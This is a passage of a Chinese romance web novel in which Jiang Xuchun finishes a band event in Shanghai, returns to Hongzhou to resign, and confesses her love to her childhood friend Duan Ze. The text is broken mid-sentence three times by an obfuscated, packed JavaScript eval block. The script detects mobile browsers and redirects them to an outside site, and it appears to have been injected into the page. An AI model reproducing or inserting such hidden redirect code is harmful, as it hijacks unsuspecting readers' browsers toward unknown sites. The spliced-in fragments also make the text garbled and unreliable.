“哦。”眠艇看起来并没有怀疑,“你们现在是不是在休假?下周我去北京参加活动,回头去泓州请你们吃顿饭吧。” “我下周不确定在不在泓州,不过段则应该在,你可以问问他。” 眠艇点点头,沉默少顷:“他现在还好吗?” 这个问题给江绪春问住了。 自从那晚段则突然发了句“我想你了”后,两人这些天断断续续也有联系过几次,但都是工作相关内容,关于彼此的生活只字不提。 她确实不知道段则好不好。 更重要的是,她忽而意识到,私以为作为段则最好的朋友,她对他的关心程度甚至比不上别人。 见她迟迟不语,眠艇以为她不方便开口,接着道:“我跟他尽管认识很多年了,但都没见过几面,有时候感觉更像网友,虽然确实是在网上认识的。 “他前段时间刚给我发了两首歌的demo,我都很喜欢。网上那些事你也知道,我想安慰他,但看他语气和从前一样,又不知道该不该主动去提。但是你想啊,这么大的事,人怎么可能一点心理波动没有呢。” 这么看来,眠艇知道的比她还要多些。 他还有在创作,他的生活至少看起来有在正常运行。 至于看不到的部分,江绪春轻轻叹了口气。 眠艇轻拍了两下她的肩膀:“总之,如果他的状态有什么不对,麻烦你知会我一声。虽然我也不知道能做什么,但找他喝上几杯总能缓解一点嘛。” “好,谢谢你。” “我谢谢你才是。” 回到休息室,bluenight和lily去逛人家搭好的展台了,剩下的工作人员她都算不上熟络。 江绪春拣了个角落落座,脑中始终在想刚刚和眠艇的话。 想来想去,有一种冲动袭来。 她果断拿起手机,点开和段则的对话。 [江绪春:你最近好吗?] 她不想猜了,也猜不到,那就直接点去问吧。 那头一片沉默。 江绪春就这么定定地盯着手机屏,熄屏了再按亮,来来回回过去了快十分钟,始终没有任何变化。 屏幕再次变暗,这次是她按下了锁屏键,江绪春起身向外走去,bluenight的彩排时间快到了,她得先专注工作。 彩排完毕,江绪春往休息室走的路上,随手再次拿出手机。 前后不过半小时,屏幕上弹出了一串新消息。 [段则:挺好的。] 五分钟后。 [段则:怎么了?] 十分钟后。 [段则:?] 五分钟后。 [段则:不太好。] 五分钟后。 [段则:不好。] 江绪春盯着屏幕,一瞬间有点儿想笑,又有点想哭。 她快步回到休息室,大家还在慢悠悠地收拾东西,你一言我一语地闲聊着。 她一把抓起自己的包:“我先走了。” “绪春姐。”lily第一个看向她,“晚上不是说好一起吃饭吗?” “对啊,一起走呗。”有人附和道。 “我有急事,不好意思。”江绪春来不及多说一句,便匆匆离开了后台。 说是有急事,但因为明天还有工作,她没法直接飞到泓州,所以她能做的,也不过是拣个无人的街道,一边走一边给段则去了通电话。 这次那边接得很快:“喂。” “为什么不好?”她开门见山。 那头安静少顷:“忙完了?” “……嗯。” “新工作很累吗?” 江绪春沉默几秒,意识到了什么:“对不起。” 她能听见那头传来一声很无奈的轻笑。 段则:“还等着你给我讲你在深圳的新工作呢,怎么这就装不下去了。” 江绪春本就不是一个擅长撒谎的人,更何况是对一个相处了大半辈子的朋友。不夸张地说,段则很有可能比她的父母还了解她。 但就算这么了解她,在谎言脱口的那一刻,他还是选择了不去揭穿。 为什么呢,江绪春想。 人在什么情况下,会默许对方骗自己? “前段时间,我帮bluenight谈成了一个合作。因为是第一次一个人谈成功,我想把项目跟到底。我现在在上海,陪他们彩排,明天活动就结束了。”江绪春一五一十地全说了。 段则认认真真听她说到最后,最后只很平淡地送出三个字:“恭喜你。” 今年是个暖冬,已进十二月,上海的气温依然居高不下,甚至隐隐还能嗅到桂花的香气。 道路张灯结彩,满是圣诞气息,江绪春看着那些亮闪闪的彩灯,莫名鼻腔发酸。 “你为什么过得不好?”她轻声又问了一遍。 “没什么,因为你不回我消息。” “……”江绪春一口气尚梗在喉口,闻言无奈地笑了出来,“我在认真问你呢。” “我也在认真回答啊。你看,我回答‘挺好的’你压根不理我,我一说‘不好’,你马上打电话给我。” “因为他们刚刚在彩排,我没时间看手机。” “行,原谅你了。” 这好像不是什么需要原不原谅的事吧。 段则能看出她在撒谎,她也能看穿段则,他一撒谎,就会叽里咕噜解释太多。 江绪春正想着要不要揭穿他时,那头又抛了个问题过来。 段则:“所以你为什么突然问我这个?” “我刚好在活动现场遇到眠艇了。他挺关心你的,还说他下周去北京参加活动,想顺路请你吃饭。” “合着你是帮别人问的。” 不是,其实我也很关心你—— 但她的行为好像完全无法佐证这一点。 最终,江绪春没有否定这一点。 在她清理干净那些乱七八糟的想法前,她必须把她和段则的相处方式,控制在一个合理的范畴内—— 一个正常的、属于异性朋友之间的范畴。 第二天,活动如期举办。 Bluenight的演出时间在下午,因而他们有半天的时间可以放松。一群人早约好了要去哪里玩,lily想拖上江绪春,但被她婉言拒绝了。 主办提供的酒店不错,江绪春悠闲地吃了个早茶,做了个spa,身体由内到外都得到了抚慰,偏偏心一直没能安定。 回到房间,江绪春正想着还能做些什么时,门铃响了。 开门一看,站在面前的赫然是向镭。 “镭姐。”江绪春忙把她迎进屋来。 “我最近不是一直在上海吗,想着你们刚好来这里,就准备见你们一面。一问才知道,他们出去玩了,我也不想凑那帮小孩的热闹,就来找你了。” “还好你来找我,我正闲着无聊呢。”江绪春客套道。 “现在无聊啊?珍惜吧,月底就要复工了。” 江绪春这才意识到,三个月的期限快到了。 陆鲨的假期快结束了,她的辞职申请也该生效了。 段则之前说,他会和公司讲这件事,因此她从没和任何人说过自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291214|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想辞职,包括向镭。 可他什么时候讲呢,总要给她和公司都留下交接的时间吧。 权衡再三,江绪春开口道:“镭姐,其实我打算辞职了。” 向镭上一秒还在悠闲地品茶,闻言手一抖,给她昂贵的丝绸衬衫溅上了好几滴:“什么意思?你别吓我啊,发生什么事了吗。” 江绪春简单讲述了自己三个月前就有此意的事,至于辞职的真正原因,当然没有明说。 “我其实觉得你挺适合这行的,但我也尊重你的选择。”向镭轻叹一口气,“我之前还在想,要不要给你提拔成执行经纪,等时机成熟了,你来接替我的位置,直接把bluenight交给你,我看那帮小孩也挺喜欢你的。” 江绪春抬头看了眼向镭。 “不过,毕竟你是陆鲨的人嘛。”向镭一耸肩,“下一步想做什么工作想好了吗?” “说实话,没有。” “没想好就辞职?” 段则“贴心”地给了她三个月时间。 谁料时间都快到了,她仍是一筹莫展。 “镭姐,你觉得我适合做什么呢?”江绪春真心发文道。 “你问我?我还是觉得你适合做这一行。你踏实、能干、做事周到,可能少了点圆滑世故,但说真的,在这行混久了,有时候更想看到一些真诚的人。”向镭顿了顿,“当然,我不是劝你留下,离开与否都是你自己的自由,我想你这么优秀的人,在哪一行都能干得很好。” 第一次见到向镭是在公司会客室,她穿着西装外套配长裙,高跟鞋在地板上“哒哒”响,不苟言笑目光锐利,谁站在她面前都会矮三分。 但相处近三年下来,江绪春发现,她其实有一颗远比外表柔软的心。她只是不喜欢做那些表面工夫,追求效率,从不打人情牌,但一旦你做好了,也绝不吝自己的肯定与奖赏。 江绪春起身上前,轻轻抱了抱向镭。 向镭微笑看着她:“辛苦你今天站好最后一班岗,往后一路顺风。” “谢谢镭姐,真的谢谢你。” 当晚,结束活动的一行人站在同一个机场内,却即将分道扬镳。 Bluenight和lily自然要回深圳,而江绪春决定去泓州,把离职的事彻底办妥。 Lily这回是真哭了,小姑娘今天特地化了个漂亮的妆,这会儿眼线都哭花了,抱着江绪春不让她走。 “让你见笑了。”身为lily的姐姐,主唱在一边很是无奈道。 江绪春轻轻摇摇头,温柔地一遍遍安抚着lily的背。 小时候她一个人在家无聊,总想着父母生个哥哥姐姐陪她玩,得知只能生出弟弟妹妹后,便一直很想要个妹妹。 这回也算是让她过了把姐姐的瘾。 Lily毕竟已经二十多岁,最终,她还是理智地松开手,说了句“不好意思”。 彼此挥手告别,江绪春的起飞时间要晚上半小时,她在原地站定,目送他们走远。 机场内人来人往,步履匆匆,在这个总是让人感到迷茫的世界,这里是为数不多有着明确目的地的地方。 但只有在半空中的那短暂时间,大家才能讨一刻喘息,当飞机再次落地,该何去何从又将掌握在自己手里。 江绪春不紧不慢地走向值机柜台。 她脑中想了很多事,lily泪汪汪的大眼睛,向镭临别时带着惋惜和祝福的话语,还有高三离校那天,两人最后一次从学校走到家的路上。 段则的校服上被签满了名字,上面不乏粉色和红色的爱心—— 那是姑娘们深埋三年的少女心事,离别总是能壮大人的勇气,哪怕结果很糟糕,也可以名正言顺地不去面对。 两人聊了会儿这几天要做些什么,以及高考后怎么放纵,段则说他看上了一把价格不菲的吉他,段咏竹答应考完就给他买。 江绪春秀气地皱着眉,在想自己考完要买什么。 她好像没什么特别想买的,她本就不是一个物欲重的人,家里对她也足够大方,平时想要点什么,只要不算过分,都会尽可能满足她。 “欸,小鸭。”段则拽了下她的书包带,“平时都是我说我的梦想,你呢,你的梦想是什么?” 一个比“考完想要什么”更难答的问题出现了。 “我想考个好成绩。”想了半天,江绪春说。 段则一脸无语:“我是说未来,等你大学毕业了以后。” “……我真的不知道啦。” 转眼都快十年了,她居然还是没法回答这个问题。 她好像一直在被命运推着走,又或者每次在该做出选择的瞬间,她才会明白自己真正想要些什么。 那就继续顺着人生的河流向前吧,江绪春想。 只要它不是一潭死水,总有流淌的方向。 29. 第 29 章 飞机落地泓州时已是深夜,江绪春并没有告诉段则自己要回来,打算等明天白天整理一下思绪,再把一切说清楚。 她拖着疲惫的身躯回到小区,电梯平稳上行,“叮”一声,她听见了开门的声音—— 不仅是电梯门,还有入户门打开的声音。 江绪春走出电梯,下意识看向和自家相反的方向。 然后目光就和拎着垃圾袋的段则撞了个正着。 可能是流浪过的原因,小狗一直有一颗向往自由的心。 段则来不及惊讶,在小狗出逃之前,眼疾手快地先把门关上。 一声巨响在楼道内回荡,更显得彼此无言的两人甚是尴尬。 三十秒后,电梯门重新打开。 行李箱被遗留在楼道,江绪春陪着他和他的垃圾一道下降。 “你的小秘密越来越多了。” 段则面朝电梯门背对着她,缓缓开口道。 一瞬间,江绪春感觉喉头发紧,心跳和呼吸一并加快。 半分钟后她才反应过来,段则口中所谓的“小秘密”,指的应该是她回来没告诉他。 那这确实只是一个“小”秘密。 与此同时,电梯抵达目的地,段则先一步迈出,下意识回头看向她,见她走出电梯,才继续向前。 江绪春亦步亦趋地跟着他,跟着他扔垃圾,又跟着他回到电梯,等待的过程中,她感觉头发被人揉了一道。 “我就随口说一句,你怎么就生上气了,一句话也不和我说?”段则道。 江绪春下意识低了下脑袋,想要躲开他的手。 他到底有没有意识到,她是个女人,他们的性别是不同的,总是这么动手动脚真的很过分。 ……虽然从前她也没有少动他。 “我没有生气,我就是不知道该说什么。”电梯门缓缓打开,江绪春先一步躲了进去。 “意思是你已经和我无话可说了?” “……你这是滑坡谬误。” “就你逻辑学得好。” 电梯重新回到十七楼,江绪春第一个出门拿起自己的登机箱,快步准备回房。 没两步,胳膊被人拽住,段则趁她愣神,一把夺过她的行李箱,转身往自己的屋子拖。 江绪春匆匆追上他:“你干什么?” “我们聊聊。”段则打开门,揽过她的肩膀,稍显强硬地将她带进屋,“你走快点,小狗又要跑出来了。” 江绪春一抬眼,小狗正在沙发上躺得四仰八叉,一点没有出逃的迹象。 今晚一时半会是没法安宁了,江绪春无奈地在沙发上落座。 小狗似乎很不满意自己的个猫空间被入侵,它灵活地跳下沙发,拖着条瘸腿回了自己的房间。 它向来是只非常自我的猫,需要人陪的时候,就会绕着你打转喵个不停,想要独处的时候,你一拨弄它就和你置气。 真好,江绪春想,她下辈子也要当个这样的猫。 这么想着一抬眼,段则正端着刚用微波炉热好的牛奶,放在她面前的茶几上。 一副好像要久聊的架势。 江绪春牢牢抱着怀中的抱枕,目光警惕地跟随着他,看他绕过茶几,在离她不远的地方落座。 坐下后,段则没急着开口,他打开投影,点开电影列表,非常耐心地一下下按着遥控器。 “我们找部电影看看吧。”他说。 说好的聊聊呢? 江绪春不懂他葫芦里卖的什么药:“我有点累,想早点睡。” “那你就在沙发上睡,我看完了把你送回去。” 不知为什么,今晚的段则变得非常强势。 “我……” “你想看什么电影?”没等她找到新借口,段则打断了她。 “随便。” 江绪春确实是累了,她没什么精力和段则聊天,也许现在这样反而更好。 段则挑挑拣拣,最后居然选了部《小鬼当家》。 和钟情摇滚不一样,段则对于电影的涉猎还蛮广的。 古今中外,动画真人,黑白彩色,他基本什么类型都会看,甚至包括所谓的烂片。 他说看电影很像解谜,一帧一帧揣摩导演的用意。就算是烂片,也蕴含了导演的心血,没有人从一开始就打算拍一部烂片的,他很想知道导演一路究竟是什么用意,才最终把电影拍成了这样。 而江绪春也很想知道,他们的关系是怎么一步步变成现在这样的。 《小鬼当家》她小时候就在电影频道看过,屋内此刻仅余投影仪的幽光,电影气氛轻松欢快,屋内的温度宜人,不知不觉间,江绪春当真睡了过去。 再度睁开眼时,周围的环境由昏黄变得雪亮。 她的视角以一种奇异的角度倾斜着,江绪春回了回神,才发现段则正在楼道里打横抱着她,艰难地抓着她的手去解锁指纹锁。 江绪春主动将拇指往前一怼,耳畔随即响起一阵悦耳的解锁声。 环抱着她的手分明一怔,段则低下头:“醒了?” “嗯。”她扣着段则的肩膀,从他怀里跳下来,“几点了?” 段则抬起手,将腕上的手表展示给她。 江绪春:“……” 这人还真是说一不二,实打实把电影看完才送她回来。 江绪春推门进屋,像是怕他跟进来似的,两只脚刚踏进门槛,旋即转身向外,把门关小了些,宽度仅够漏出一张脸。 没待她想好合适的送客借口,分神之际,门被强行往里推,怼得她踉跄了好几步。 “你到底要干嘛?”家门失守,江绪春警惕地看着眼前的人。 段则反手不轻不重地将门带上,她还没换鞋呢,他倒先一步自然熟地拿出自己的拖鞋换好。 末了他一边往里走,一边将灯一盏盏揿亮,最后停留在冰箱前,面对她空荡荡的冰箱迟疑几秒,最终稍显失望地关上,回到沙发正中落座。 江绪春始终站在玄关,沉默地看着他做这一切。 今晚的段则,好陌生。 比相识二十余年来的任何一天都陌生。 “不进来?”段则坐在沙发上喊她,一时竟不知这是谁的家。 江绪春用力揉了一把仍惺忪的睡眼,预感今晚一时半会是没法睡了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300050|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她走上前,在一旁的单人沙发上落座,顺手捞了个抱枕抱在怀里,坐得有种不自然的端正。 不知他是故意的,还是他确实还不够熟悉,他开的是最亮的那盏顶灯。瓦数惊人,鸡睡了都得起来吼三吼,江绪春入住这两年多,只有某年在她家办大学同学聚会时开过一回。 夜半置身这般明亮的环境下,让她感觉自己身处审讯室。 只是眼前的审讯官似乎比她要颓唐,一头乱蓬蓬的卷毛,这些天也不知道吃了几口饭,面颊略显凹陷,衬得眼眶深邃得要命,让她不敢直视。 江绪春下意识别开眼,下一秒听见他开口。 “你回来为什么不告诉我?” 许是客厅太空阔,她甚至隐隐感觉他的声音在回荡,一圈一圈,绕得她心虚。 “太晚了,我打算明天和你说的。”江绪春道。 段则很轻地笑了一声:“哦,我还以为你特地赶半夜回来,然后连夜收拾好东西,再也不来这里。” 江绪春忍不住斜睨他一眼,不知道自己在他心里到底是个什么形象。 “我还有工作没交接,怎么可能不打一声招呼就走。”她说。 “打完招呼就准备走了是吗?” 不然呢? 她在心底嘀咕着,到底没说出口。 没等到她的回应,段则继续道:“如果我不同意你的辞职呢?” 江绪春猛地转头看向他:“你之前说好三个月后——” “对,我现在反悔了。” 江绪春此刻又困又累,一股火气堵在喉口,又实在不想吵架。 她叹了口气:“你怎么了段则?” “我也想知道我怎么了!” 段则猛地提高嗓音,吓得她一个哆嗦,没待她反应过来,就见他三两步坐到她身边,携来一阵柠檬橙花的气息。 他不由分说地扔开她怀里的抱枕,将彼此间最后一点隔断也抽离,抬手用力扣住她的肩膀,逼迫她那总是闪躲的眼神,此刻不得不面对他。 “我到底做错什么了,我是哪里对不起你吗,为什么你宁愿带别的乐队都不要我,为什么这些天你一直骗我、躲我! “因为我性格太讨厌,还是你也觉得我没有任何才华和前景,又或者你觉得和一个私生子做朋友很可耻?你为什么不要我,江绪春,你说啊!” 说到最后,段则无法自制地颤抖着。她那被死死钳住的肩膀,也共享了这份震颤,像细密的电流一路通向心脏,整个人快要就此麻痹。 他没有哭,他从成年后就没有真正掉过眼泪了,不管她有多“纵容”他的眼泪,童年母亲的教诲还是太深入人心。 再多的情绪,他也只会像现在这样红上一圈眼眶,微微喘着粗气,一瞬不瞬地盯着她。 好亮,令人恼怒的亮。 亮得他眼里的每一道水光都清晰可见,以及那如果不死死抿住,怕也会颤抖个不停的嘴唇。 江绪春到底还是做了懦夫,一点点别过头去,眼一眨,比他先掉了泪。 她用力咽了下口水,带着些视死如归: “因为……我喜欢上你了。” 30. 第 30 章 玻璃茶几反射着令人炫目的灯光,看得江绪春头昏脑胀,她能感觉到肩上的手松开了,但残余的痛感仍绵延不绝。 段则粗重的喘丨息声被瞬间掐断,他一言不发地站起身,将将迈开一步,又弯腰低头,捡起刚刚被自己扔开的抱枕,拍了拍上面的浮灰,工整地放回沙发上。 抱枕放好后,他像是被定住般,就那么弯腰伸手僵持三秒,才一点点直起身。 “我脑子有点乱。”他开口,嗓子哑得像在风箱里滚了一圈,“对不起,刚刚不应该吼你。” 江绪春没说话,始终盯着茶几上那团光斑,像是想要借此给自己晃晕过去。 就在这片惨白下,她听见他渐行渐远,门被打开又合上,门锁发出一阵欢快的落锁音乐。 她吃力地伸长胳膊,将被他放好的抱枕重新够回怀里,身子一歪躺倒在沙发上,整个人好像宕机了,只有泪腺在疯狂工作。 两分钟后,她听见门铃响起。 江绪春没有动,她实在没有体力挪动分毫。 门外隐隐传来他拔高的声音:“行李箱我放在门口了。” 然后又是一片死寂。 完蛋了,她想。 一切都完蛋了。 - 《小鬼当家》是段则童年时看过最多的电影。 彼时影碟还没有被淘汰,家里的电视机柜上有一台笨重的光碟机,每次段咏竹和男友约会,留他独自在家时,他就会揣着零花钱,去家附近的碟片行租一张碟片。 店老板是个老古董,或者说为人正直,见他是个小孩,很多碟片都不让他租。 小孩到某个年纪,总会觉得自己已经长大了。那时候的段则也一样,屁大点的小孩,就是不愿意看动画片。 《小鬼当家》算是为数不多老板愿意租给他,他也觉得很好看的真人电影,唯一的“缺点”是主角是个小孩。 没有圣诞氛围的圣诞节,酷热难耐的暑假,他都这样端正地坐在沙发上,目不转睛地看着电视,由此造就了他一百多度的轻微近视。 不过他并不敢和段咏竹说,记忆里的黑板总是蒙了一层薄雾,可能因为他不爱读书,这么多年度数奇迹地没怎么涨。 直到上大学后,他才自己去配了第一副眼镜,世界陡然变得锐利起来,吓得他把眼镜又藏回盒中。 电影里的故事很精彩,现实却是如此乏味。 他也曾试着在家制作各种道具,然后在漫长的孤单等待后自投罗网,自己对自己说“我抓住你了”。 段则不是没试过去交些朋友,但附近的小男孩好像都不太喜欢他,说他太“装”了。 每次被人这么说,他就会和人吵架。他成天独来独往,憋着满肚子的话亟待释放,那些小男孩吵不过他,就会气急败坏地打他,一点公平道德也不讲,总让他一挑多。 段咏竹认为好的体形要从小培养,从他记事起,就在有意控制他的饮食。 段则虽然没有瘦成麻杆,但和那些外公外婆带出来的小胖墩还是没法比,小孩子的打架没有技巧,吨位就是王道,撞他一下他就得倒地。 直到某天,再次被打趴下的段则坐在地上,死死咬着牙根,用尽最后的力气让自己别哭出来。 一个扎着双马尾的小胖墩从天而降,不过这次是背对着他,手举树枝几个突刺,把那群坏家伙都赶走了。 段则崇敬地看着她,觉得她就是小胖墩之王。 后来他去了她家,吃了她妈妈烙的饼和包子,明白了她这副强壮的身躯是从何而来。 并且从此以后,他那些粗制滥造的道具多了一个落网者。 一个人独处久了,要么会习惯独自一人,要么会极度需要陪伴。 很不幸,段则是后者。 只要有空,他就会找她玩,一找就是这么多年。 她去深圳的这段时间,是两人毕业以后,分别最久的日子。 很多次他会习惯性走到她门边,按下好几次门铃后,才反应过来她不在家。 其实两个人在一起的时候,除了工作,通常也不会做什么。 无非是不时约顿饭,或者让她听听自己写的新歌,又或者纯粹去她家吵几句嘴,被她举着枕头拍出门。 这些事也不是非她不可吧? 想和他吃饭的人有大把,比她懂音乐的人也多的是,在自己的账号下点开最新评论,他就能轻松找到可以吵架的人。 他不知道为什么是她,但悲哀地意识到了只能是她。 他变得每天都很焦虑,晚睡早醒,成日魂不守舍,把自己关在工作室里创作出一堆垃圾,然后再把垃圾删干净。 他有和眠艇说过这事,他说不好意思,他以后可能没法给他写歌了,他甚至有点享受这种每天清空自己成果的感觉。 他是用开玩笑的口吻说的,结果眠艇噼里啪啦给他打了一堆字过来。 眠艇说,俄国的监狱有一种摧毁犯人的方法,就是让他们所有的劳动都变得毫无益处和意义,就像西西弗斯永不停歇地滚石。 “你在自毁。”眠艇说。 段则不明白,他不碰烟酒更不沾黄赌毒,他只是作为一个垃圾生产出一堆垃圾,本着保护环境的原则将它们清理干净,怎么就算自毁了。 他自个儿跑到垃圾站把自己回收了,那才算自毁吧。 但他连争辩的精力也没有了,只是默默停止了这种行为。 这下好了,连无意义的劳动都不存在了,他彻底成了一具游魂。 每天不是在厨房忙碌一日三餐,就是洁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303357|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 癖上身,疯狂打扫家里每一处角落,好似动物园里关出刻板行为的动物,不停在家中打转。 前段时间他爹死而复生,他终于捞到了见她一面的机会。 她千里迢迢飞过来,抱着他哭,还以为他吃药自尽,愚蠢又可爱。 但不到四十八小时,她又飞往了深圳。 段则讨厌那个地方,没有尽头的夏天,无法喘丨息的潮湿。他也讨厌bluenight,作为本土乐队,曲风天然带着那里的湿润和粘稠,像抓了一手的蜜糖,腻得发慌。 他不明白江绪春怎么想的。 泓州不好吗?陆鲨不好吗? 他不好吗? 其实从去年起,他就能感觉到江绪春在渐渐疏远他。 大概是从富国岛回来后,两人的相处乍看无恙,但之中总有暗潮翻涌,将彼此推向两个方向。 他想不明白原因。 因为那段时间他心情太差?还是他无意间哪句话说得太过分?抑或她受够了他总是起伏的状态? 段则没去问,很多时候他害怕把事情摊开来讲,宁愿盲目地过下去。 就像他爸如果没有诈尸,他可能一辈子也厘不清他和段咏竹的隔阂从何而来,就这样疏离地相处到一方死亡,把真相埋进土里。 所以,他眼睁睁地看着江绪春离他越来越远,却无力挽回。 她提离职的瞬间,他甚至有种心中石头落地的感觉,想着她终于说出来了。 但他还不死心,又试图困住她三个月。 回到兴榕那段时间,他听她说自己的相亲故事,莫名觉得很是烦躁。 他觉得那群人都配不上他,但也清楚他的想法毫无意义。 也许随着年岁渐长,人和人之间总会渐行渐远。 她终将会和爱的人组建家庭,拥有一个健康可爱的宝宝,幸福美满地过一生—— 其实他不是很信爱情或者婚姻之类的东西,但不知为什么,对于江绪春,他觉得她会幸福的。 或许因为她本就在幸福的家庭里长大,很多东西冥冥中写在了基因里,一代一代遗传下去。 就像段咏竹,她谈过很多男朋友,但至今仍孤身一人,段则也很少听起她谈及自己的朋友,又或者她其实没什么交心的朋友。 如果遗传是真的,他也会孤单一辈子,爱情他不指望了,眼下看来,连朋友也要被夺走。 他沉默地、隐忍地等待那一天的到来。 但当它真的快要降临时,他还是没忍住爆发了。 他需要一个答案,他已经有太多段稀里糊涂结束的关系,他不能忍受他和江绪春也是这样。 最终,潘多拉的魔盒被打开了。 那一瞬间,他只想对这个操蛋的世界,大骂一句脏话。 31. 第 31 章 江绪春就这样在沙发上哭到睡了过去。 翌日被太阳照醒时,眼睛肿得差点没能睁开。 她在浴室里洗了一场长达一小时的澡,思绪伴随水流一道流淌。她想起两人第一次见面,想起老旧狭小的出租屋,想起富国岛昏暗的露台,当然想的最多的,还是昨晚冲动下的祸从口出。 人在神志不清的时候,真的不能做任何决定,也最好不要说任何话。 每次洗完澡,都像一场小小的重生。 那些陈旧和错误的东西都已在下水道沉睡,江绪春神清气爽地走出浴室,来到厨房。 虽然不知道今天是不是个好日子,但吃饱了才有力气去应对。 吃完早餐,她想着看会儿电脑时,才想起自己的行李箱还落在门口。 江绪春走到门边,从猫眼向外看去,确定走廊空无一人后,才飞速开门关门,把行李箱拿回玄关。 盯着这个小小的登机箱,好不容易变得清爽的头脑,又强行加载了很多混沌的记忆。 它被段则强行夺走,又在她说了一番胡话后,被好好地送了回来。 段则选的时机很好,如果他今晨才送回这个行李箱,她都不知该如何接收。 可两人还得见面。 别的不提,工作的事迟早得解决。 ……就说不能和朋友共事。 江绪春回来这一趟,就是为了彻底解决离职的事。 下一步她还没想好,大概会先去北京看一看情况。 但是今天肯定不合适。 明天、后天…… 三天过去了,两人明明只隔了十数米,却一面没见过,线上线下一句话也没有说过。 江绪春愈发后悔自己说了那句话。 可段则也不是什么好人,非逼她开口做什么,这下好了,答案是有了,但两个人都不高兴了。 手机震动了一下。 江绪春就像草原上预备狩猎的猫科动物,身体仍保持静止,眼珠子嗖一下就转过去了。 这些天,对于每一条消息提醒她都是这个状态。 但每次得到的都是失望,又或者是庆幸—— 她期待段则对她说些什么,却不敢真的面对他。 这次也是一样,消息来自眠艇。 她这才想起来,他今天在北京有演出,说好演出结束来泓州找他们吃饭。 [眠艇:想吃哪家?我请客。] [江绪春:不好意思,我目前不在泓州,你问段则吧。] 她刚准备将手机甩到一边,谎言在下一秒被即刻拆穿。 [眠艇:段则说你前几天刚回的泓州啊。] 江绪春下意识扭头看向紧闭的大门。 [眠艇:是他让我问你想吃什么。] 他们老友叙旧,这顿饭就一定要带上她吗? 江绪春拇指悬在键盘上,不知该如何回应,眠艇又发了条消息过来。 [眠艇:我还问他怎么不自己问你,他说他在忙,你知道他在忙什么不?] 江绪春冷笑两声。 他和她忙的应该是同一件事。 [江绪春:就去你上次来泓州的那家中餐厅吧。] 不知道眠艇作为无辜的传话筒,有没有把她的选择传达过去,总之一天结束,两人依然零见面零交流。 江绪春就连倒垃圾,都得提防地透过猫眼先看一眼,还得耳贴门板,仔细感受每一道细微的响动。 翌日,眠艇又开始不辞辛劳地通知她晚七点赴约。 江绪春六点已然梳洗完毕,在沙发上端坐着,连手机都没心思看。 六点十分,“叮咚”,门铃响起。 这次不用猫眼,也知道外面站着的是谁。 江绪春深吸一口气,上前握住了门把手。 狂跳的心脏和紊乱的呼吸,毫不留情地揭露了她的忐忑。 门被缓缓拉开一条缝,她来得太慢,走廊的声控灯已自动关闭,仅余玄关漏出的灯光,勾勒出面前的高大轮廓。 段则的眼神很平静,语气也是,他上下扫了她一眼:“已经准备好了?” 就好像过去无数次,两人一起约着出门吃饭一样。 他显然也准备好了,首要表现就是头发拉得笔直。一身及膝的长风衣,围巾搭在臂弯,看起来整洁利落。 江绪春很想陪他把这种“假装什么事都没发生”的戏码玩下去。 但她的时间宝贵,不想再浪费。 “你为什么非要让我去?”她问。 段则神情微怔,这不是他料想中的回答。 “我想和你一起吃饭。”最后他说。 江绪春决定把直球打到底。 “你知道我喜欢你吧?” 接连两个意料外的回应,段则眉头一皱,下意识抗拒地深吸了一口气。 “嗯。”他顿了顿,“这和我们一起吃饭有什么关系吗?” 装傻充愣的人真讨厌。 江绪春:“我辞职的事什么时候解决?” “不解决不能吃饭?” “你别装傻。” “你别凶我。” 江绪春:“……” 太可恶了。 谁准他用这种语气说话的。 “今晚我陪你吃这顿饭,明后两天,你尽快把我离职的手续处理好。”她干脆直接给他安排任务。 “然后呢?” “什么然后。” “处理好之后呢?” “那和你没关系了。” 段则沉默少顷:“所以你的意思是,我要么答应和你在一起,要么我俩老死不相往来,是吗?” 江绪春想了想,似乎是这样。 但也不全是。 “我已经不想和你在一起了。”她说。 “合着你就是想和我绝交?”段则终于没法维持他的得体,“你有病吧江绪春,你特么起码给我一个选择啊。” 声控灯随着他增大的音量“啪”一声亮起。 一片雪白下,两人的错愕被照得明明白白。 法律上规定,情侣以夫妻身份同居一段时间后便构成事实婚姻,此刻分手并不是一方能轻易决定的。 那么一段漫长且深刻的友情呢? 似乎也不该由其中一方武断判下死刑。 这回轮到江绪春装傻了。 她默默移开目光:“先去吃饭吧。” “我不想和你一起吃饭了。”段则语带赌气。 “那我不去了……?” “去。” “你不是说不想……” 江绪春话说一半,段则抬手抓着她胳膊,给她从家中拉了出来。 两人面朝电梯站着,段则语速飞快:“那你让我怎么和他解释?我一会儿要开车,安全起见你现在最好别和我说话,我听不明白你的话。” 